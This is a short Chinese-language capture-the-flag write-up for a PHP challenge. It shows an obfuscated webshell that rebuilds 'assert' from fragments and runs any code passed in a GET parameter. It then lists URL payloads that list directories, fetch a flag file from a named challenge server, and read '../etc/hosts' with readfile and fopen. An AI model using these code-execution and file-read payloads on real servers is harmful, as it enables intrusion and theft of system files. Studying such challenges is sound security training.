提示代码
<?php
$poc="a#s#s#e#r#t"; $poc_1=explode("#",$poc); $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5];
$poc_2($_GET['s'])
?>
用assert执行任意函数
payload:?s=print_r(scandir('./')) 扫描目录
看到f14g.txt文件,访问,拿到flag
http://123.206.87.240:8010/f14g.txt
拓展
例如想要读取hosts里面的内容
扫描上级目录,payload:
?s=print_r(scandir('../'))
看到这是linux操作系统的文件目录
所以hosts应该在etc里面,读一下就能看到了,果不其然。
2. 使用fopen() 或者 readfile() 函数读取文件
样例payload
?s=print_r(readfile('../etc/hosts'))
?s=print_r(fopen('../etc/hosts','r')) //这个有些不行